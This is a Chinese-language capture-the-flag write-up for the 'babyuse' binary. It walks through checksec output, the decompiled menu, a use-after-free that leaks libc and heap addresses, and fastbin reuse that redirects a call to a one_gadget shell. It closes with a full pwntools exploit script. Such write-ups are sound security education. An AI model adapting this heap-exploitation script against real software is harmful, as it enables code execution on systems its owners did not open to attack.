checksec
>>> print ELF('./babyuse')
[*] '/root/sploitfun/BCTF/babyuse'
Arch: i386-32-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
ida查看
int __cdecl main(int argc, const char **argv, const char **envp)
{
sub_EF0();
sub_F42(); // 打印一些东西
while ( 1 )
{
menu_morty();
switch ( sub_E7E() )
{
case 1:
sub_FE4(); // buy a gun
break;
case 2:
sub_1278(); // select a gun
break;
case 3:
sub_1100(); // list a gun
break;
case 4:
sub_1211(); // rename a gun
break;
case 5:
sub_12CE(); // use a gun
break;
case 6:
sub_117A(); // drop a gun
break;
case 7:
return 0; // exit
default:
puts("Wrong input");
break;
}
}
}
我们发现与gun相关的struct,一个是gun信息的list,每一个就是指针,一个是gun_pointer_inuse_flag,1表示这个gun在使用
.bss:0000408C ; int gun_pointer_list[]
.bss:0000408C gun_pointer_list dd ? ; DATA XREF: buy_a_gun_FE4+E7w
.bss:0000408C ; sub_1100+34r ...
.bss:00004090 db ? ;
.bss:00004091 db ? ;
.bss:00004092 db ? ;
.bss:00004093 db ? ;
.bss:00004094 db ? ;
.bss:00004095 db ? ;
.bss:00004096 db ? ;
.bss:00004097 db ? ;
.bss:00004098 db ? ;
.bss:00004099 db ? ;
.bss:0000409A db ? ;
.bss:0000409B db ? ;
.bss:0000409C ; int gun_pointer_inuse_flag[]
.bss:0000409C gun_pointer_inuse_flag dd ? ; DATA XREF: buy_a_gun_FE4+63r
.bss:0000409C ; buy_a_gun_FE4+F1w ...
.bss:000040A0 db ? ;
.bss:000040A1 db ? ;
.bss:000040A2 db ? ;
.bss:000040A3 db ? ;
.bss:000040A4 db ? ;
.bss:000040A5 db ? ;
.bss:000040A6 db ? ;
.bss:000040A7 db ? ;
.bss:000040A8 db ? ;
.bss:000040A9 db ? ;
.bss:000040AA db ? ;
.bss:000040AB db ? ;
利用步骤
- 泄露libc地址,买三把抢(名字大小为64),然后选择第0把,删除第0把,再使用第0把,然后就可以泄露libc中unsorted bin 的地址,从而确定libc基址;
onegadget
one_gadget /lib/libc.so.6
0x3ee27 execve("/bin/sh", esp+0x34, environ)
constraints:
ebx is the GOT address of libc
[esp+0x34] == NULL
0x6890b execl("/bin/sh", "sh", [esp+0x8])
constraints:
ebx is the GOT address of libc
[esp+0x8] == NULL
0x68911 execl("/bin/sh", eax)
constraints:
ebx is the GOT address of libc
eax == NULL
0x68915 execl("/bin/sh", [esp+0x4])
constraints:
ebx is the GOT address of libc
[esp+0x4] == NULL
main_arena与main_hook的关系
gdb-peda$ x/6gx 0xf7678408
0xf7678408 <__malloc_hook>: 0x0000000000000000 0x0000000000000000
0xf7678418: 0x0000000000000000 0x0000000000000000
0xf7678428 <main_arena+8>: 0x5753600000000000 0x0000000000000000
main_hook的offset
readelf -s /lib/libc.so.6 | grep __malloc_hook
1173: 001c7408 4 OBJECT WEAK DEFAULT 34 __malloc_hook@@GLIBC_2.0
根据泄露的地址计算出libc的地址
gdb-peda$ x/s 0xf7610450 - 48 - 0x18 - 0x1c7408
0xf7449000: "\177ELF\001\001\001\003"
由于没有合适的one_gadget地址,我们选择一个然后下断点,发现我们控制了eip的地址
0xf7549e17 <do_system+983>: mov DWORD PTR [esp],0x2
0xf7549e1e <do_system+990>: mov DWORD PTR [esp+0x4],eax
0xf7549e22 <do_system+994>: call 0xf753a4c0 <sigprocmask>
=> 0xf7549e27 <do_system+999>: mov eax,DWORD PTR [ebx-0xc8]
0xf7549e2d <do_system+1005>: mov DWORD PTR [ebx+0x1640],0x0
0xf7549e37 <do_system+1015>: mov DWORD PTR [ebx+0x1644],0x0
0xf7549e41 <do_system+1025>: mov eax,DWORD PTR [eax]
至此测试结束
-
选择第1把,再删除第1把,再使用第一把就可以泄露上一步骤free的smallbin的地址;
-
通过分析可知: Use a gun调用的方法是通过 (ptr)的方式查找函数地址,我们知道只要把最后的指针指向libc中的one gadget地址就可以拿到shell;
-
直接改写堆不可以成功,思路是通过改写一个堆块,将内容指向堆上的另一个地址,这样的话通过两层指针的寻址可以跳转到我们希望跳转的地址。
-
通过选择1块,然后删除两块,会在fastbin中存在两个fastbin,然后buy a gun这样的话,令被选择的块为内容块,填充器内容,便可实现跳转。
最终的exp
# coding=utf-8
from pwn import *
def buy(type, len):
p.recvuntil('7. Exit\n')
p.sendline('1')
p.recvuntil('2. QBZ95\n')
p.sendline(str(type))
p.recvuntil("name")
p.sendline(str(len))
p.recvuntil("Input name:\n")
p.sendline("a" * len)
def buy2(type, len, payload):
p.recvuntil('7. Exit\n')
p.sendline('1')
p.recvuntil('2. QBZ95\n')
p.sendline(str(type))
p.recvuntil("name")
p.sendline(str(len))
p.recvuntil("Input name:\n")
p.sendline(payload)
def select(id):
p.recvuntil('7. Exit\n')
p.sendline('2')
p.recvuntil('Select a gun')
p.sendline(str(id))
def list():
p.recvuntil('7. Exit\n')
p.sendline('3')
def rename(id, lenth, name):
p.recvuntil('7. Exit')
p.sendline('4')
p.recvuntil('to rename:\n')
p.sendline(str(id))
p.recvuntil('name')
p.sendline(str(lenth))
p.recvuntil('Input name:\n')
p.sendline(name)
def use():
p.recvuntil('7. Exit\n')
p.sendline('5')
# p.recvuntil('4. Main menu\n')
# p.sendline(str(type))
def use2(type):
p.recvuntil('7. Exit\n')
p.sendline('5')
p.recvuntil('4. Main menu\n')
p.sendline(str(type))
def delete(id):
p.recvuntil('7. Exit\n')
p.sendline('6')
p.recvuntil('to delete:\n')
p.sendline(str(id))
if __name__ == '__main__':
p = process('./babyuse')
buy(1, 64) # leak libc
buy(1, 64) #型号,长度
buy(1, 64)
select(0)
delete(0)
use() #通过use来打印泄露的地址
p.recvuntil("Select gun ")
lib_leak = u32(p.recv(4))
libc_base = hex(lib_leak - 48 - 0x18 - 0x1c7408) # <main_arena+48> - 48 - main_arena_main_hook - main_hookoffset
print 'libc_base: ' + libc_base
exec_addr = libc_base + 0x3ee27 # 0x3ee27为one_gadget地址
print 'exec_addr: ' + hex(exec_addr)
p.sendline("4") # Rename a Gun
select(1) # leak heap addr #上一个chunk的df指向了main_arena+48的位置,这个chunk的fd指向了上一个chunk的位置
delete(1)
use() #通过use来打印泄露的地址
p.recvuntil("Select gun ")
heap_leak = u32(p.recv(4))
print 'heap_leak: ' + hex(heap_leak)
p.sendline("4") # Rename a Gun
raw_input('#')
buy(1, 64) #型号,长度
buy(1, 64)
rename(1, 64, p32(exec_addr) + p32(exec_addr) + p32(exec_addr)) #(id, lenth, name)
select(1)
delete(1)
delete(0)
buy2(1, 15, p32(heap_leak + 0x110) + p32(heap_leak + 0x110))
use2(1)
p.interactive()
p.close()